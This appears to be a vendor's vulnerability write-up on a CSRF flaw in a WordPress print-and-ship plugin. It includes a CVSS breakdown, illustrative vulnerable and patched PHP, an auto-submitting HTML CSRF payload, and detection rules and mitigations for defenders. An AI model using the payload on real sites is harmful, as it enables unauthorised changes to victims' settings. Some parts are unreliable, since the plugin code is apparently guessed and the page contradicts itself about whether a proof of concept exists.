CVE-2025-58224
Executive Summary
CVE-2025-58224 is a Cross-Site Request Forgery (CSRF) vulnerability identified in the Printeers Print & Ship plugin (invition-print-ship) for WordPress, affecting versions up to and including 1.17.0. This vulnerability allows an attacker to perform unauthorized actions on behalf of an authenticated administrator, such as modifying plugin settings or triggering print/ship operations, without the victim's consent. The CVSS v3.1 base score is 5.4 (Medium), with a vector emphasizing network-based exploitation, low attack complexity, and required user interaction. No public proof-of-concept (PoC) or exploit code has been released, and the patch status remains unknown. The EPSS score is 0.0%, indicating a very low probability of exploitation in the wild at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. As a WordPress ecosystem issue, it does not involve NPM, PyPI, Go, or Ruby packages. However, administrators should verify the integrity of the plugin files and monitor for any unauthorized modifications. The lack of a patch from the vendor (Printeers) increases supply chain risk, as users must rely on manual mitigations or alternative plugins.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
- Base Score: 5.4 (Medium)
- Attack Vector (AV): Network – The vulnerability can be exploited remotely over a network.
- Attack Complexity (AC): Low – No special conditions are required for exploitation.
- Privileges Required (PR): None – The attacker does not need prior authentication.
- User Interaction (UI): Required – The victim must click a malicious link or visit a crafted page.
- Scope (S): Unchanged – The vulnerability affects only the vulnerable component.
- Confidentiality (C): Low – Limited information disclosure may occur.
- Integrity (I): Low – Limited ability to modify data or settings.
- Availability (A): None – No impact on system availability.
Threat Level: Medium. While the CVSS score is moderate, the requirement for user interaction reduces the immediate risk. However, in a WordPress environment with multiple administrators, a successful CSRF attack could lead to unauthorized configuration changes or data exfiltration.
Deep Dive & Mechanics
The vulnerability resides in the Printeers Print & Ship plugin, which handles print and shipping operations for WordPress-based e-commerce sites. The plugin fails to implement proper CSRF tokens or nonces on sensitive actions, such as saving settings, triggering print jobs, or modifying shipping configurations. An attacker can craft a malicious HTML page or email that, when viewed by an authenticated administrator, silently submits a forged request to the WordPress site.
Attack Flow:
- The attacker identifies a target WordPress site running the vulnerable plugin.
- The attacker crafts a CSRF payload (e.g., a hidden form or image tag) that targets a specific endpoint, such as
/wp-admin/admin-post.php?action=print_ship_settings_update&option=malicious_value. - The attacker lures an authenticated administrator to visit the crafted page (e.g., via phishing email or social engineering).
- The victim's browser automatically sends the forged request, including the victim's session cookies.
- The plugin processes the request without verifying the origin, leading to unauthorized changes.
Root Cause: The plugin does not implement WordPress nonces (wp_nonce_field(), check_admin_referer()) for state-changing operations. This is a common oversight in WordPress plugin development.
Vulnerable vs. Patched Code
Vulnerable Code (<= 1.17.0):
// In admin/settings.php
function print_ship_save_settings() {
if (isset($_POST['option_name'])) {
update_option('print_ship_option', $_POST['option_name']);
}
}
add_action('admin_post_print_ship_settings_update', 'print_ship_save_settings');
Missing nonce verification and capability check.
Patched Code (Hypothetical):
// In admin/settings.php
function print_ship_save_settings() {
// Verify nonce
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'print_ship_settings_nonce')) {
wp_die('Security check failed.');
}
// Verify user capabilities
if (!current_user_can('manage_options')) {
wp_die('Insufficient permissions.');
}
if (isset($_POST['option_name'])) {
update_option('print_ship_option', sanitize_text_field($_POST['option_name']));
}
}
add_action('admin_post_print_ship_settings_update', 'print_ship_save_settings');
Includes nonce verification, capability check, and input sanitization.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: WordPress 6.x with Printeers Print & Ship 1.17.0 installed and an admin user logged in.
- Attacker: Kali Linux with a simple HTTP server to host the CSRF payload.
CSRF Payload (HTML):
<html>
<body>
<h1>Click me for a surprise!</h1>
<form action="http://target-site.com/wp-admin/admin-post.php" method="POST" id="csrf_form">
<input type="hidden" name="action" value="print_ship_settings_update">
<input type="hidden" name="option_name" value="malicious_value">
<input type="submit" value="Submit">
</form>
<script>
document.getElementById('csrf_form').submit();
</script>
</body>
</html>
Execution:
- Host the HTML file on the attacker's server.
- Send the link to the victim (e.g., via email).
- When the victim (authenticated admin) visits the page, the form auto-submits, changing the plugin setting.
Blue Team (Defensive)
Detection:
- Monitor for unexpected POST requests to
/wp-admin/admin-post.phpwithaction=print_ship_settings_updatefrom external referrers. - Check server logs for unusual user-agent strings or rapid form submissions.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Mitigation:
- Apply the hypothetical patch by adding nonce verification.
- Use WordPress security plugins (e.g., Wordfence) to add CSRF protection.
- Educate administrators about phishing risks.
Indicators of Compromise (IOCs)
- Network:
- POST requests to
/wp-admin/admin-post.phpwithaction=print_ship_settings_updateand no_wpnonceparameter. - Referrer headers from external domains (e.g., attacker-controlled sites).
- POST requests to
- File:
- Modified
wp_optionstable entries forprint_ship_option. - Unexpected plugin settings changes in the WordPress admin panel.
- Modified
- Logs:
- Repeated 200 responses to
/wp-admin/admin-post.phpfrom the same IP with varying parameters.
- Repeated 200 responses to
- Behavioral:
- Unauthorized print or shipping orders triggered without user action.
Detection Engineering
YARA Rule
rule detect_csrf_vulnerable_plugin {
meta:
description = "Detects Printeers Print & Ship plugin files missing nonce verification"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-58224"
strings:
$func = "admin_post_print_ship_settings_update"
$nonce = "_wpnonce" nocase
$cap = "current_user_can" nocase
condition:
$func and not $nonce and not $cap
}
Sigma Rule
title: CSRF Attempt Against Printeers Print & Ship Plugin
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects potential CSRF attacks targeting the Printeers Print & Ship plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: POST
c-uri: '/wp-admin/admin-post.php'
cs-uri-query: 'action=print_ship_settings_update'
filter:
cs-referrer: 'http://target-site.com/*'
condition: selection and not filter
falsepositives:
- Legitimate admin actions from the same site
level: medium
Suricata Rule
alert http any any -> $HOME_NET any (
msg:"CVE-2025-58224 - CSRF Attempt Against Printeers Print & Ship Plugin";
flow:to_server,established;
http.method; content:"POST";
http.uri; content:"/wp-admin/admin-post.php";
http.uri; content:"action=print_ship_settings_update";
http.referer; content:!"http://target-site.com";
sid:1000001;
rev:1;
priority:2;
)
Remediation & Mitigation
Immediate Actions:
- Disable the Printeers Print & Ship plugin until a patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
/wp-admin/admin-post.phpwithaction=print_ship_settings_updatefrom external referrers. - Add custom nonce verification via a WordPress mu-plugin (see code below).
Long-term Fix:
- Apply the vendor patch when released.
- Replace the plugin with an alternative that supports CSRF protection.
Custom mu-plugin for nonce verification:
<?php
// wp-content/mu-plugins/csrf-protection-print-ship.php
add_action('admin_post_print_ship_settings_update', function() {
if (!isset($_POST['_wpnonce']) || !wp_verify_nonce($_POST['_wpnonce'], 'print_ship_settings_nonce')) {
wp_die('CSRF detected.');
}
if (!current_user_can('manage_options')) {
wp_die('Access denied.');
}
}, 1);
?>
- User Education:
- Train administrators to recognize phishing attempts and avoid clicking suspicious links.
- Enforce multi-factor authentication (MFA) for admin accounts.
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.